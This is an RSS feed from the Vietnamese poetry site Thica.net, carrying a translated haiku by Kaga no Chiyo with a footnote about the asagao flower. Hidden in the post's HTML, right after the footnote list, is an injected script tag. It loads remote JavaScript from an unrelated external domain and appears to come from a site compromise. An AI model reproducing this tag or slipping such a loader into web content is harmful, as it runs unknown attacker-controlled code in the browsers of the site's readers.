<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Haiku&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/haiku/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/haiku/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Hoa bìm bìm *</title>
		<link>https://www.thica.net/2014/07/05/hoa-bim-bim/</link>
		<comments>https://www.thica.net/2014/07/05/hoa-bim-bim/#respond</comments>
		<pubDate>Fri, 04 Jul 2014 17:15:19 +0000</pubDate>
		<dc:creator><![CDATA[Kaga no Chiyo]]></dc:creator>
				<category><![CDATA[Kaga no Chiyo]]></category>
		<category><![CDATA[Haiku]]></category>
		<category><![CDATA[Thơ dịch]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12649</guid>
		<description><![CDATA[<p>A! Hoa bìm bìm<br />
Chiếc gàu vương hoa bên giếng<br />
Đành xin nước nhà bên</p>
<p>The post <a href="https://www.thica.net/2014/07/05/hoa-bim-bim/">Hoa bìm bìm *</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>A! Hoa bìm bìm <sup><a href="https://www.thica.net/2014/07/05/hoa-bim-bim/#footnote_0_12649" id="identifier_0_12649" class="footnote-link footnote-identifier-link" title="Trong bản gốc l&agrave; hoa asagao (hoa tri&ecirc;u nhan), một loại d&acirc;y leo giống b&igrave;m b&igrave;m">1</a></sup><br />Chiếc gàu vương hoa bên giếng<br />Đành xin nước nhà bên</p><p>(Nhật Chiêu dịch)</p><p><em>* Thơ haiku thường không có tiêu đề. Tiêu đề bài thơ này là do chúng tôi đặt.</em></p><ol class="footnotes"><li id="footnote_0_12649" class="footnote">Trong bản gốc là hoa asagao (hoa triêu nhan), một loại dây leo giống bìm bìm</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2014/07/05/hoa-bim-bim/">Hoa bìm bìm *</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2014/07/05/hoa-bim-bim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">12649</post-id>	</item>
	</channel>
</rss>
